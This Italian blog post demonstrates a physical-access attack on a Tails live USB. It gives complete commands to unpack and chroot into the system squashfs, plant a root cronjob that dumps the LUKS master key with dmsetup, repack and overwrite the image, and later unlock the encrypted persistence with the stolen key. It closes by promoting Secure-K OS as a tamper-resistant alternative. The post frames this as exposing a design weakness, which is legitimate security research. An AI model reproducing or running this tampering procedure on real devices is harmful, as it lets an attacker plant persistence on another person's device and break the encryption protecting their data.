[fusion_builder_container hundred_percent=”no” hundred_percent_height=”no” hundred_percent_height_scroll=”no” hundred_percent_height_center_content=”yes” equal_height_columns=”no” menu_anchor=”” hide_on_mobile=”small-visibility,medium-visibility,large-visibility” class=”” id=”” background_color=”” background_image=”” background_position=”center center” background_repeat=”no-repeat” fade=”no” background_parallax=”none” enable_mobile=”no” parallax_speed=”0.3″ video_mp4=”” video_webm=”” video_ogv=”” video_url=”” video_aspect_ratio=”16:9″ video_loop=”yes” video_mute=”yes” video_preview_image=”” border_size=”” border_color=”” border_style=”solid” margin_top=”” margin_bottom=”” padding_top=”” padding_right=”” padding_bottom=”” padding_left=””][fusion_builder_row][fusion_builder_column type=”1_1″ layout=”1_1″ spacing=”” center_content=”no” link=”” target=”_self” min_height=”” hide_on_mobile=”small-visibility,medium-visibility,large-visibility” class=”” id=”” background_color=”” background_image=”” background_position=”left top” background_repeat=”no-repeat” hover_type=”none” border_size=”0″ border_color=”” border_style=”solid” border_position=”all” padding_top=”” padding_right=”” padding_bottom=”” padding_left=”” dimension_margin=”” animation_type=”” animation_direction=”left” animation_speed=”0.3″ animation_offset=”” last=”no”][fusion_text columns=”” column_min_width=”” column_spacing=”” rule_style=”default” rule_size=”” rule_color=”” class=”” id=””]

(Come ottenere la master key LUKS di Tails)

Ho di recente installato e testato per qualche giorno la distribuzione live Tails, accompagnandola con una partizione di persistenza dei dati cifrata LUKS.

Notando come questa utilizzi una partizione FAT per tutti i suoi file di sistema, kernel, initrd e filesystem.squashfs, mi sono chiesto come Tails protegga i file da modifiche malevole di terzi – dato che filesystem FAT è sinonimo di filesystem scrivibile.

Segue lo schema di partizionamento completo della chiavetta:

Disk /dev/sdc: 59.8 GiB, 64160400896 bytes, 125313283 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: gpt
Disk identifier: A78A67AD-7B00-4496-97CD-AA144BEBD932

Device Start End Sectors Size Type
/dev/sdc1 2048 16779263 16777216 8G EFI System
/dev/sdc2 16783360 125313249 108529890 51.8G Linux filesystem

Tails partitioning scheme

“Se presto la chiavetta ad un Pinguino malevolo, poi sarò sicuro nell’usarla nuovamente?” – mi chiedo. Ma soprattutto: “I dati nella partizione cifrata, la chiave LUKS, sono al sicuro?”

Il sito web di Tails riporta:

The encrypted persistent storage is not hidden. An attacker in possession of the USB stick can know whether it has an encrypted persistent storage. Take into consideration that you can be forced or tricked to give out its passphrase.

In realtà non è necessario essere forzati o ingannati nell’esporre la passphrase LUKS: come vedremo è solamente necessario che un amico – o presunto tale – mi chieda di usarla per qualche minuto!

Il Pinguino malevolo fin qui menzionato potrebbe iniettare uno script nel filesystem di Tails che riveli la master key LUKS (ed eventualmente la invii in rete). Chiaramente un attaccante potrebbe leggere i file interni alla persistenza in modo più facile, una volta iniettato lo script, ma mi piace dimostrare come quanto scritto sul website di Tail non corrisponda esattamente al reale 😉

[/fusion_text][fusion_title margin_top=”” margin_bottom=”0px” hide_on_mobile=”small-visibility,medium-visibility,large-visibility” class=”” id=”” size=”1″ content_align=”left” style_type=”none” sep_color=””]

COME FARE

[/fusion_title][fusion_text columns=”” column_min_width=”” column_spacing=”” rule_style=”default” rule_size=”” rule_color=”” class=”” id=””]Nello scenario che segue, un Pinguino malevolo installerà banalmente un cronjob al fine di salvare la master key LUKS del sistema in /tmp.

Passo 1.
PM: “Amico Mio, potrei usare la tua Tails per un momento?”.

Passo 2.
AM: “Certamente”.

Passo 3.
Il Pinguino malevolo inietta il cronjob.

Per prima cosa localizza il device file della chiavetta USB di Tails:

fdisk -l

/dev/sdc1 2048 16779263 16777216 8G EFI System
/dev/sdc2 16783360 125313249 108529890 51.8G Linux filesystem

Quindi copia il filesystem.squashfs dalla chiavetta al suo filesystem locale e lo decomprime:

mount /dev/sdc1 /mnt/
mkdir /tmp/chroot
cd /tmp/chroot/
cp /mnt/live/filesystem.squashfs /tmp/
unsquashfs /tmp/filesystem.squashfs
cd squashfs-root/

Esegue un chroot nella cartella (in questo modo sarebbe anche facilmente possibile installare pacchetti):

mount -o bind /proc /tmp/chroot/squashfs-root/proc
mount -o bind /dev /tmp/chroot/squashfs-root/dev
mount -o bind /dev/pts /tmp/chroot/squashfs-root/dev/pts
mount -o bind /sys /tmp/chroot/squashfs-root/sys
chroot .

E infine inietta il cronjob:

echo "* * * * * /sbin/dmsetup table --target crypt --showkey /dev/mapper/TailsData_unlocked >/tmp/luks.master" >/var/spool/cron/crontabs/root
chown 0:crontab /var/spool/cron/crontabs/root
chmod 600 /var/spool/cron/crontabs/root

La riga dmsetup legge la master key LUKS una volta che la partizione LUKS sia stata aperta e montata. TailsData_unlocked è il nome del device file associato alla partizione.

Il Pinguino ricrea ora lo squashfs e lo sovrascrive a quello originale nella chiavetta USB:

exit
umount /tmp/chroot/squashfs-root/proc
umount /tmp/chroot/squashfs-root/dev/pts
umount /tmp/chroot/squashfs-root/dev
umount /tmp/chroot/squashfs-root/sys

cd ..
mksquashfs squashfs-root/ filesystem.squashfs -comp xz

cp -f filesystem.squashfs /mnt/live/filesystem.squashfs

umount /mnt
sync

Passo 4.
PM: “Fatto, mille grazie”.

Passo 5.
AM. Avvio, unlock della partizione cifrata LUKS, boom!

Il file /tmp/luks.master contiene la master KEY:

0 108525794 crypt aes-xts-plain64 a1dbda7f9da88f9783bc52ef28755951cebc72ab6e391f2bd7fac82d7e36dc5e 0 8:18 4096

Con la conoscenza di questa chiave, la partizione cifrata non sarà mai più sicura:

echo -n "a1dbda7f9da88f9783bc52ef28755951cebc72ab6e391f2bd7fac82d7e36dc5e" >/tmp/master.key
xxd -r -p /tmp/master.key /tmp/masterkey.bin
cryptsetup --master-key-file masterkey.bin luksOpen /dev/sdc2 enc
mount /dev/mapper/enc /mnt/
[/fusion_text][fusion_title margin_top=”” margin_bottom=”0px” hide_on_mobile=”small-visibility,medium-visibility,large-visibility” class=”” id=”” size=”1″ content_align=”left” style_type=”none” sep_color=””]

CONCLUSIONI

[/fusion_title][fusion_text columns=”” column_min_width=”” column_spacing=”” rule_style=”default” rule_size=”” rule_color=”” class=”” id=””]In conclusione, Tails non adotta alcuna misura anti-tampering che prevenga la modifica dei file di sistema ad opera di un attaccante che abbia possesso fisico della chiavetta USB su cui è installato.[/fusion_text][fusion_title margin_top=”” margin_bottom=”0px” hide_on_mobile=”small-visibility,medium-visibility,large-visibility” class=”” id=”” size=”1″ content_align=”left” style_type=”none” sep_color=””]

ALTERNETIVE

[/fusion_title][fusion_text columns=”” column_min_width=”” column_spacing=”” rule_style=”default” rule_size=”” rule_color=”” class=”” id=””]Open Secure-K OS è un sistema operativo liveng-compliant, free ed open source, creato con i componenti di una Debian Stretch. Al pari di Tails, è capace di kernel update, ma Open Secure-K OS utilizza un filesystem ISO9660 per la sua partizione di sistema, risutando quindi un po’ più ostico quale vittima del tipo di attacco fin qui visto.

Secure-K OS, basato su Open Secure-K OS, migliora la sua controparte Community-based in molti aspetti. Misure anti-tampering durante il bootstrap ad opera del kerenl inibiscono la possibilità di modifica di file, di virtualizzazione del sistema, dell’uso di opportuni parametri di boot e via discorrendo.[/fusion_text][/fusion_builder_column][/fusion_builder_row][/fusion_builder_container]

Rispondi

Questo sito usa Akismet per ridurre lo spam. Scopri come i tuoi dati vengono elaborati.